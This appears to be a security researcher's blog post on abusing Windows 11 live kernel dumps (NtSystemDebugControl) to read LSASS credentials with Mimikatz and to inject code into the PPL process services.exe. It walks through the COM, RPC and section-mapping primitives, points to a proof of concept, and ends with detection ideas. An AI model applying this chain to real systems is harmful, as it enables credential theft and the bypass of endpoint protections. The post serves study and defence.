Injecting code into PPL processes without vulnerable drivers on Windows 11
While reading this article from James Forshaw on leveraging COM to inject code into a process, I discovered a syscall that I didn’t known about: NtSystemDebugControl
.
Being unfamiliar with this syscall, I decided to look for more information. I found this PowerShell snippet, which worked well to dump kernel-mode memory. Looking for more, I found that the Flags
argument was an enum that contained a IncludeUserSpaceMemoryPages
. As the name suggests, if this flag is specified, the memory dump will include user-mode pages that are not swapped out.
From what I could gather, this flag used to be available to userland, but was later restricted to drivers only in an earlier Windows version, up until Windows 11. I decided to give it a try anyways, and, to my surprise, it actually worked! The memory dump did contain user-mode memory pages. Digging deeper, I found that this only worked on Windows 11.
Immediately, I wanted to see if this could be abused to bypass the protection of Protected Process Light (PPL).
If you are unfamiliar with Protected Process Light, I would recommend reading this article. In short, some processes can be run as Protected Process Light, which tries to protect them even from a malicious privileged user. To do this, only Windows-signed libraries and executable files can (theoretically) be loaded within the PPL, and standard processes cannot get a HANDLE
to the process with full access to the PPL process, to prevent code injection.
Windows 11 vs Windows 10
The difference can be found by comparing the syscall in a Windows 11 and Windows 10 installation: when the IncludeUserSpaceMemoryPages
flag is specified, the calls ends up in DbgkCaptureLiveKernelDump
Here is the relevant code of this function on Windows 10:
IsFullLiveDumpDisabled = DbgkpWerIsFullLiveDumpDisabled();
if (IsFullLiveDumpDisabled != '\0') {
DbgPrintEx(5, 1, "DBGK: Full Live Kernel Dumps are disabled. Failing request.\n");
return STATUS_CONTENT_BLOCKED;
}
if ((((PreviousMode == '\x01') && ((*(uint *)(param_1 + 0x38) & 4) != 0)) &&
(KdPitchDebugger != '\0')) && (KdLocalDebugEnabled == '\0')) {
return STATUS_DEBUGGER_INACTIVE;
}
However, on Windows 11 (23H2), the code is the following :
IsFullLiveDumpDisabled = DbgkpWerIsFullLiveDumpDisabled();
if (IsFullLiveDumpDisabled != '\0') {
DbgPrintEx(5, 1, "DBGK: Full Live Kernel Dumps are disabled. Failing request.\n");
return STATUS_CONTENT_BLOCKED;
}
IsFeatureEnabled = Feature_LivedumpProcessFiltering__private_IsEnabled();
if ((((IsFeatureEnabled == 0) && (PreviousMode == '\x01')) && ((param_1[0xe] & 4) != 0)) &&
((KdPitchDebugger != '\0' && (KdLocalDebugEnabled == '\0')))) {
return STATUS_DEBUGGER_INACTIVE;
}
A new check for a feature named LivedumpProcessFiltering
is present in the Windows 11 version, which permits the capture of user-mode pages in the dump.
Previously, this fonction was restricted to drivers, or system with debugging enabled.
A check for the SeDebugPrivilege
is still required to call this syscall from userland.
This ability to create kernel dump with user-mode pages is actually used by the Task Manager, and has been published in a Microsoft article.
Dumping LSASS
The first offensive use case for this feature is to use this dump to read memory pages inside lsass.exe
(regardless of whether RunAsPPL
is configured for lsass.exe
), to retrieve credentials for active Logon Sessions.
This is already implemented in Mimikatz’s plugin for WinDbg:
0: kd> .load C:\\path\\to\\mimilib.dll
.#####. mimikatz 2.2.0 (x64) built on Aug 10 2021 02:01:09
.## ^ ##. "A La Vie, A L'Amour" - Windows build 22631
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' WinDBG extension ! * * */
===================================
# * Kernel mode * #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
# * User mode * #
===================================
0:000> !mimikatz
===================================
0: kd> !process 0 0 lsass.exe
PROCESS ffffa1834530d080
SessionId: 0 Cid: 0574 Peb: b9abf5a000 ParentCid: 0508
DirBase: 018a8000 ObjectTable: ffff910463f91680 HandleCount: 1267.
Image: lsass.exe
Page 3eb169 not present in the dump file. Type ".hh dbgerr004" for details
0: kd> .process /r /p ffffa1834530d080
Implicit process is now ffffa183`4530d080
Loading User Symbols
................................................................
.....................
0: kd> !mimikatz
SekurLSA
========
[...]
msv :
[00000003] Primary
* Username : Administrator
* Domain : DOMAIN
* NTLM : <NT_HASH>
This method is unlikely to raise any EDR detection, since this does not rely on traditionnal code injection/cross-process memory reads: no handle to lsass.exe
is required.
Credentials will only be retrieved on systems with Credential Guard disabled. (Shoutout to Antonio Cocomazzi to who also tweeted about this new feature a few weeks ago!)
Code injection
While the ability to dump lsass.exe
is useful on its own, I wanted to see if I could leverage this to gain code execution within a PPL process, ideally running at the highest level, Win-TCB.
There are several offensive use cases to getting actual code execution within a PPL. The first one, as demonstrated by angryorchard
, is the ability to get an arbitrary kernel pointer decrement, if you can inject code into the csrss.exe
process, which runs at the PPL-WinTCB level.
While the ability to decrement the PreviousMode
value will reportedly be mitigated in a future Windows version, this primitive probably can be leveraged in some other ways, crossing the admin-to-kernel boundary.
On systems with Credentials Guard enabled, being able to inject code inside lsass.exe
can help retrieve NetNTLMv1 hashes, and can also be used to reactivate Wdigest, which will capture credentials in cleartext, and not within VTL1.
This can also be used to tamper with EDR usermode processes, which usually run at the PPL-ELAM level.
For the rest of this blogpost, the focus will be on injecting code inside the services.exe
process, which runs as PPL, at the WinTCB level, which is the highest level.
Existing techniques and history
As far as I know, there has been 3 public tools that resulted in code execution within a PPL process. These are PPLdump, PPLmedic, and PPLFault.
PPLFault abused a time-of-check/time-of-use vulnerability in the verification of the signature of DLL that are mapped inside PPL processes. I would recommend watching the presentation, which contains addition context about others attacks on PPL processes.
The main flaw abused by the other two, was first reported in this presentation, is how the signature verification works when loading a DLL inside a PPL process.
When a DLL is loaded from disk, NtCreateSection
is first called with SEC_IMAGE
, and the resulting section object is then mapped via NtMapViewOfSection
. However, the signature verification only occurs when NtCreateSection
is called, and not when the section is mapped within the process.
This was mainly abused through the KnownDll
mechanism, which is a cache containing section objects of commonly used DLL. When such a DLL is loaded within a process, the section object is first opened via NtOpenSection
, and then mapped by calling NtMapViewOfSection
. This means that the signature verification process is bypassed. And although a non PLL cannot directly add a section object of a DLL in KnownDLLs
, it is possible to trick csrss.exe
to add it for us - csrss.exe
runs at PPL-WinTCB.
To mitigate these, Microsoft implemented two things. First, ntdll!LdrpKnownDllDirectoryHandle
, which holds a handle to KnownDll
inside a normal process, is now unintialized by default inside PPL processes, and has been moved inside the .mrdata
section. This section is read-only most of the time, and when a variable within this section needs to be changed, LdrProtectMrdata
is called to toggle the memory permissions of the .mrdata
section, make the change, and then toggled back.
Looking at a memory dump of a PPL process, we can see the following, which confirms the mitigations are present:
0:000> !address ntdll!LdrpKnownDllDirectoryHandle
Usage: Image
Base Address: 00007ffc`ebddb000
End Address: 00007ffc`ebe66000
Region Size: 00000000`0008b000 ( 556.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Type: 01000000 MEM_IMAGE
Allocation Base: 00007ffc`ebc50000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: ntdll.dll
Module Name: ntdll
Loaded Image Name: C:\Windows\SYSTEM32\ntdll.dll
Mapped Image Name:
More info: lmv m ntdll
More info: !lmi ntdll
More info: ln 0x7ffcebdea2b0
More info: !dh 0x7ffcebc50000
0:000> dp ntdll!LdrpKnownDllDirectoryHandle
00007ffc`ebdea2b0 00000000`00000000 00000000`00000000
Aside from these tools, James Forshaw published an article which demonstrated how to use COM remoting to overwrite ntdll!LdrpKnownDllDirectoryHandle
with a valid handle to then load into a Protect Process an unsigned DLL, using the mechanism described above (at the time, ntdll!LdrpKnownDllDirectoryHandle
was not placed inside the .mrdata
section).
This technique was later described in details in MDSec’s blog, and implemented in a proof of concept to inject code into a remote process.
The short version is, if you can read the target process’s COM secret and context, as well as the IPID of the IRundown
interface within the target process, it is possible to remotely invoke the IRundown::DoCallback
method within the PPL process. This method takes a XAptCallback
structure as an argument, which holds a function pointer to invoke in the remote process, as well as single argument to pass to the function. The function pointer is validated by Control Flow Guard (CFG), so it can’t be any pointer.
Getting arbitrary function call
Since we can read the memory of the usermode pages of a PPL process such as services.exe
through the livedump generated by NtSystemDebugControl
, the exploitation of IRundown::DoCallback
is possible.
However, whereas the COM process secret and context of services.exe
was always present within the dump, the IPID was rarely present - most likely due to being paged out (I haven’t investigated the reason why).
To avoid this issue, it is possible to read the memory of the RPCSS
service, which maintains a list of all IPID on a machine, since it is responsible for dispatching remote COM calls to the appropriate process where the actual object lives. RPCSS
does not run as PPL, so it is possible to directly use ReadProcessMemory
- it could also be parsed from the memory dump.
With this, it’s possible to call any CFG-valid target, with a single argument within services.exe
.
Getting an arbitrary memory write
In his writeup, James Forshaw uses this primitive to call SetProcessDefaultLayout
and GetProcessDefaultLayout
, to overwrite LdrpKnownDllDirectoryHandle
with a valid handle value.
Since it’s not possible anymore to directly overwrite ntdll!LdrpKnownDllDirectoryHandle
, I’ll try to get the ability to call any function, without limitation for the arguments. And for that, an arbitrary write will make it much easier.
The combination of GetProcessDefaultLayout
and SetProcessDefaultLayout
only writes a value in the form of 0x0?0?0?0?
, which isn’t so easy to manipulate, so I searched for other APIs.
Instead of searching for a function that would let me precisely control the value written, I looked for arbitrary increment.
Looking for a “AddRef” function was fruitful. I settled on combase!CStdStubBuffer_AddRef
:
0:017> uf combase!CStdStubBuffer_AddRef
combase!CStdStubBuffer_AddRef [onecore\com\combase\ndr\ndrole\stub.cxx @ 878]:
878 00007ff9`31d4e580 b801000000 mov eax,1
880 00007ff9`31d4e585 f00fc14108 lock xadd dword ptr [rcx+8],eax
880 00007ff9`31d4e58a ffc0 inc eax
881 00007ff9`31d4e58c c3 ret
This function takes a single argument in the RCX
register, and increments the dword pointed by RCX+8
, atomically.
This function is also a valid CFG target, so this works perfectly. Now, to get an arbitrary write using this arbitrary increment, it’s simply a matter of incrementing a memory region, byte by byte, to get the desired memory buffer.
In the next steps, we will need to craft multiple arbitrary buffers, so, where should we write these buffers ? I opted to use the end of the .data
section of various DLL that are already loaded in the PPL process. In memory, the sections of a PE file are page size-aligned, with zero-padding between sections. Since the pages of the .data
section are allocate as RW, this gives us zero-initialized memory that is unused and writeable - overwriting this data won’t risk crashing the process.
RPC to the rescue!
Now, we have two primitives: arbitrary write, and a one argument function call. The goal is to transform this into the ability to call any function without limitation on the arguments.
To do so, I reused an idea from this browser exploitation technique.
The idea is relatively simple, with the arbitrary write, it’s possible to setup a NDR message, which is the representation of RPC messages. Then, it is possible to call rpcrt4!NdrServerCall2
, with a single argument being a pointer to a RPC_MESSAGE
structure, containing the NDR. This function is responsible for unmarshalling the NDR, which includes informations on a function to invoke, as well as the number of arguments to pass to the function.
By carefully cratfing the structure, it is possible to call an arbitrary function, with as many arguments as we want.
From there, injecting code into services.exe
seems to be simply a matter of allocating RWX memory, and creating a thread.
Mitigations
Unfortunately, this won’t work for services.exe
. Here’s the list of mitigations active on the process:
0: kd> dx @$curprocess.KernelObject.MitigationFlagsValues
@$curprocess.KernelObject.MitigationFlagsValues [Type: <unnamed-tag>]
[+0x000 ( 0: 0)] ControlFlowGuardEnabled : 0x1 [Type: unsigned long]
[+0x000 ( 1: 1)] ControlFlowGuardExportSuppressionEnabled : 0x0 [Type: unsigned long]
[+0x000 ( 2: 2)] ControlFlowGuardStrict : 0x0 [Type: unsigned long]
[+0x000 ( 3: 3)] DisallowStrippedImages : 0x0 [Type: unsigned long]
[+0x000 ( 4: 4)] ForceRelocateImages : 0x0 [Type: unsigned long]
[+0x000 ( 5: 5)] HighEntropyASLREnabled : 0x1 [Type: unsigned long]
[+0x000 ( 6: 6)] StackRandomizationDisabled : 0x0 [Type: unsigned long]
[+0x000 ( 7: 7)] ExtensionPointDisable : 0x1 [Type: unsigned long]
[+0x000 ( 8: 8)] DisableDynamicCode : 0x1 [Type: unsigned long]
[+0x000 ( 9: 9)] DisableDynamicCodeAllowOptOut : 0x0 [Type: unsigned long]
[+0x000 (10:10)] DisableDynamicCodeAllowRemoteDowngrade : 0x0 [Type: unsigned long]
[+0x000 (11:11)] AuditDisableDynamicCode : 0x1 [Type: unsigned long]
[+0x000 (12:12)] DisallowWin32kSystemCalls : 0x0 [Type: unsigned long]
[+0x000 (13:13)] AuditDisallowWin32kSystemCalls : 0x0 [Type: unsigned long]
[+0x000 (14:14)] EnableFilteredWin32kAPIs : 0x0 [Type: unsigned long]
[+0x000 (15:15)] AuditFilteredWin32kAPIs : 0x0 [Type: unsigned long]
[+0x000 (16:16)] DisableNonSystemFonts : 0x1 [Type: unsigned long]
[+0x000 (17:17)] AuditNonSystemFontLoading : 0x0 [Type: unsigned long]
[+0x000 (18:18)] PreferSystem32Images : 0x0 [Type: unsigned long]
[+0x000 (19:19)] ProhibitRemoteImageMap : 0x0 [Type: unsigned long]
[+0x000 (20:20)] AuditProhibitRemoteImageMap : 0x0 [Type: unsigned long]
[+0x000 (21:21)] ProhibitLowILImageMap : 0x0 [Type: unsigned long]
[+0x000 (22:22)] AuditProhibitLowILImageMap : 0x0 [Type: unsigned long]
[+0x000 (23:23)] SignatureMitigationOptIn : 0x1 [Type: unsigned long]
[+0x000 (24:24)] AuditBlockNonMicrosoftBinaries : 0x0 [Type: unsigned long]
[+0x000 (25:25)] AuditBlockNonMicrosoftBinariesAllowStore : 0x0 [Type: unsigned long]
[+0x000 (26:26)] LoaderIntegrityContinuityEnabled : 0x0 [Type: unsigned long]
[+0x000 (27:27)] AuditLoaderIntegrityContinuity : 0x0 [Type: unsigned long]
[+0x000 (28:28)] EnableModuleTamperingProtection : 0x0 [Type: unsigned long]
[+0x000 (29:29)] EnableModuleTamperingProtectionNoInherit : 0x0 [Type: unsigned long]
[+0x000 (30:30)] RestrictIndirectBranchPrediction : 0x0 [Type: unsigned long]
[+0x000 (31:31)] IsolateSecurityDomain : 0x0 [Type: unsigned long]
Arbitrary Code Guard is enabled on services.exe
, which prevents the allocation of a RWX memory section, or changing from RW to RX using our arbitrary call primitive.
Failed attempt
My first idea to bypass this mitigation, was to abuse a well-known limitation of Arbitrary Code Guard. Although the process itself cannot allocate new executable memory, a different process with a handle to the first process with VM_OPERATION
- and without the mitigation - can allocate new executable code within the original process which has Arbitratry Code Guard.
This is due to the MiArbitraryCodeBlocked
function, which is called in the context of the remote process, for instance when calling NtProtectVirtualMemory
:
NTSTATUS MiArbitraryCodeBlocked(_EPROCESS *pEprocess)
{
if (((pEprocess->MitigationFlags & DisableDynamicCode) == 0) ||
(KeGetCurrentThread()->CrossThreadFlags & DisableDynamicCodeOptOut) != 0)) {
if (((pEprocess->MitigationFlags & AuditDisableDynamicCode) != 0) &&
((KeGetCurrentThread()->CrossThreadFlags & DisableDynamicCodeOptOut) == 0)) {
EtwTimLogProhibitDynamicCode(1, pEprocess);
}
EtwTraceMemoryAcg(0);
return STATUS_SUCCESS;
}
else {
EtwTraceMemoryAcg(0x80000000);
EtwTimLogProhibitDynamicCode(2, pEprocess);
return STATUS_DYNAMIC_CODE_BLOCKED;
}
}
Since the EPROCESS
passed to this function is the one of the current process in the context of NtAllocateVirtualMemory
or NtProtectVirtualMemory
, and not the one of the remote process, a process without the mitigation can allocate RWX memory in a process with the mitigation, given a handle with enough right.
My idea was to call NtDuplicateObject
using the arbitrary function call primitive, to give a handle with full permissions to a process without Arbitrary Code Guard, and then perform code injection using this handle.
However, this doesn’t work as I expected: our remote process receives a valid handle to the services.exe
process, but this handle only has the Query Limited Informations
right.
The reason for that is that I didn’t fully understand how the checks for PPL are implemented.
The checks are actually implemented by the PsTestProtectedProcessIncompatibility
function, called within the PspProcessOpen
:
PspProcessOpen
is registered as the OpenProcedure
for the ObjectType
associated with processes objects.
0: kd> dt nt!_OBJECT_TYPE ffff9a8d`468c1bc0
+0x000 TypeList : _LIST_ENTRY [ 0xffff9a8d`468c1bc0 - 0xffff9a8d`468c1bc0 ]
+0x010 Name : _UNICODE_STRING "Process"
+0x020 DefaultObject : (null)
+0x028 Index : 0x7 ''
+0x02c TotalNumberOfObjects : 0x9b
+0x030 TotalNumberOfHandles : 0x5e1
+0x034 HighWaterNumberOfObjects : 0x9b
+0x038 HighWaterNumberOfHandles : 0x633
+0x040 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x0b8 TypeLock : _EX_PUSH_LOCK
+0x0c0 Key : 0x636f7250
+0x0c8 CallbackList : _LIST_ENTRY [ 0xffffaf04`f583ee00 - 0xffffaf04`f583ee00 ]
0: kd> dx -id 0,0,ffff9a8d4bc750c0 -r1 (*((ntkrnlmp!_OBJECT_TYPE_INITIALIZER *)0xffff9a8d468c1c00))
(*((ntkrnlmp!_OBJECT_TYPE_INITIALIZER *)0xffff9a8d468c1c00)) [Type: _OBJECT_TYPE_INITIALIZER]
[+0x000] Length : 0x78 [Type: unsigned short]
[+0x002] ObjectTypeFlags : 0xca [Type: unsigned short]
...
[+0x020] RetainAccess : 0x101000 [Type: unsigned long]
[+0x024] PoolType : NonPagedPoolNx (512) [Type: _POOL_TYPE]
[+0x028] DefaultPagedPoolCharge : 0x1000 [Type: unsigned long]
[+0x02c] DefaultNonPagedPoolCharge : 0xbd8 [Type: unsigned long]
[+0x030] DumpProcedure : 0x0 : 0x0 [Type: void (__cdecl*)(void *,_OBJECT_DUMP_CONTROL *)]
[+0x038] OpenProcedure : 0xfffff807173e61f0 : ntkrnlmp!PspProcessOpen+0x0 [Type: long (__cdecl*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
[+0x040] CloseProcedure : 0xfffff8071732ad50 : ntkrnlmp!PspProcessClose+0x0 [Type: void (__cdecl*)(_EPROCESS *,void *,unsigned __int64,unsigned __int64)]
[+0x048] DeleteProcedure : 0xfffff807173df330 : ntkrnlmp!PspProcessDelete+0x0 [Type: void (__cdecl*)(void *)]
[+0x050] ParseProcedure : 0x0 : 0x0 [Type: long (__cdecl*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
As such, when NtDuplicateObject
is called, it calls ObDuplicateObject
, which, if everything is valid, calls ObpIncrementHandleCountEx
, triggering the OpenProcedure for the corresponding Object Type, in our case, PspProcessOpen
- which will strip the rights of the handle.
To solve this issue, a first option is to spawn a new services.exe
, but without the mitigation. Afterwards, since Arbitrary Call Guard is not enabled on this new services.exe
, it is possible to allocate RWX memory and write a shellcode to it.
The other option is to abuse the fact that the signature is not verified during the mapping of Section
objects.
The complete chain
Now, let’s see how we can assemble all these primitives to get code execution within services.exe
.
- First, we create a Kernel LiveDump, specifying the
IncludeUserSpaceMemoryPages
flag.
This will create a livedump on disk. This may slow down the system for a few seconds.
- Next, we parse the livedump to retreive the necessary values
To be able to parse the livedump file, I made a quick reimplementation of kdmp-parser
in Rust (while doing this project, the original author made his own port to Rust, which is probably much better but I’m too lazy to change).
First, we locate the PsActiveProcessHead
, which points to an entry in the doubly-linked of processes in kernel memory containing the EPROCESS
structure of all processes. When the target PID is found, we read the DirectoryTableBase
field of the EPROCESS
, which corresponds to the PML4 entry for the virtual memory of services.exe
.
- We also parse the memory of
services.exe
within the livedump
To find the COM process secret and context, the easiest way is to use symbols. In their article, MDSec showed how to find the address without symbols, so this can work as well.
There are two values that we are interested in: the COM context and process secret.
- Within the memory of RPCSS, we locate an
IPID
andOXID
associated with theIRundown
interface in theservices.exe
process
Since this process does not run as PPL, its memory can be read as a process having SeDebugPrivilege
using ReadProcessMemory
and similar APIs.
The symbol gpServerOxidTable
within rpcss.dll
points to a structure, which contains a number of CServerOXID
entries.
0:000> dp rpcss!gpServerOxidTable
00007ffe`20c5ed08 00000284`dd6412d0 00000284`dd641410
0:000> dp 00000284`dd6412d0
00000284`dd6412d0 0000011f`00000200 00000284`de1d9750
^ ^ ^
| | |
| | |
| Array Max Size |
| |
Current Array Size Array Address
0:000> dp 00000284`de1d9750
00000284`de1d9750 00000284`de0ba250 00000284`dddcc250
00000284`de1d9760 00000000`00000000 00000284`de797490
00000284`de1d9770 00000284`de7f89e0 00000284`de058150
Although the CServerOXID
structure is undocumented, there are three fields we are interested in: one is the IPID of the IRundown
interface, one is the OXID
of the object.
The other is a pointer to the associated CProcess
structure, which holds the PID of the process where the object lives.
0:000> dt nt!_GUID 00000284`de0ba250 + 0x60
ntdll!_GUID
{0000bc0e-2370-1478-2908-8cd7ff79d45f} <-- IPID of the IRundown interface
0:000> dp 00000284`de0ba250 + 0x20
00000284`de0ba270 00000284`de7df650 00000012`00000000
^
|
|
CProcess entry
0:000> du poi(00000284`de7df650 + 0x180)
00000284`de06e740 "C:\Program Files\WindowsApps\Mic"
00000284`de06e780 "rosoft.WindowsTerminal_1.19.1121"
00000284`de06e7c0 "3.0_x64__8wekyb3d8bbwe\WindowsTe"
00000284`de06e800 "rminal.exe"
0:000> dd 00000284`de7df650+0x58
00000284`de7df6a8 00002370 <-- PID of the process, here WindowsTerminal.exe
- Finally, we use the
IRundown::DoCallback
method repeatedly, to invokecombase!CStdStubBuffer_AddRef
.
Using the arbitrary increment, we craft valid RPC_MESSAGE
s for the next function calls, with valid arguments.
If the target services.exe
is a new process without Arbitrary Code Guard, the chain of RPC_MESSAGE
can be used to allocate a RWX buffer, copy a shellcode and execute it.
Otherwise, if the services.exe
is the original one, the payload must be mapped via NtMapViewOfSection
in the process.
The easiest way would be to change the protection of ntdll!LdrpKnownDllDirectoryHandle
, write a valid handle to a Directory object
containing section ojects, then call LoadLibraryA
. However, I decided it would be interesting to explore how to do it without leveraging ntdll!LdrpKnownDllDirectoryHandle
.
In the exploit process, we call NtCreateSection
on an unsigned DLL. Then, using the ability to call functions within services.exe
, open the exploit process using NtOpenProcess
, and duplicate the section handle of the unsigned DLL using NtDuplicateObject
. With this, we have a valid handle to a Section
object inside services.exe
, without having performed the signature verification. This Section
object can then be mapped with NtMapViewOfSection
. The downside of this approach is although the DLL is mapped, relocations are not fixed, as they are usually done in the call to LdrLoadDll
and not in the NtMapViewOfSection
syscall.
I have implemented a proof of concept for this strategy, available on Github.
Detections ideas and takeaways
Regarding detection, the Kernel-LiveDump
log source generates events when such a dump is created, in particular, event IDs 2, 3, and 4 seem relevant.
PS> Get-WinEvent -LogName Microsoft-Windows-Kernel-LiveDump/Operational -MaxEvents 3
ProviderName: Microsoft-Windows-Kernel-LiveDump
TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
5/20/2024 1:09:57 PM 2 Information Live Dump Capture Dump Data API ended. NT Status: STATUS_SUCCESS. BugcheckCode: 353. BugcheckParameter1: 0x0. BugcheckParameter2: 0x0. BugcheckParameter3: 0x0. BugcheckParameter4: 0x0. AbortIfMemoryPressure: 0. DumpCaptureDuration: 2313ms. SelectiveDump: 0. DynamicLowMemoryThreshold: 0 bytes. AvailablePhysicalMemory: 7430266880 bytes. TotalPhysicalMemory: 16849256448 bytes. IOSpaceEnabled: false.
5/20/2024 1:09:57 PM 4 Information Writing dump file ended. NT Status: 0x0. Total 3116253184 bytes (Header|Primary|Secondary: 1802240|3114450944|0 bytes). DumpWriteDuration: 1712ms.
5/20/2024 1:09:55 PM 3 Information Writing dump file started.
This might also help detect the misuse of legitimate RAM acquisition tools for offensive purposes, though I haven’t investigated whether these drivers leverage the same kernel API or perform the dump without it.
In combination, Arbitrary Code Guard and PPL should work well together to prevent code injection, somewhat similarily to HVCI, but due to the limitations of each, they fall short of the goal. In particular, the absence of verification during the mapping is a design flaw that has remained unfixed since the first report about it. It would be interesting to require PPL processes to be started with Arbitrary Code Guard enabled, but this might have side effects I haven’t considered.
Finally, this method could be leveraged to inject into Protected Process as well, but there seems to be little reason to do so as far as I know.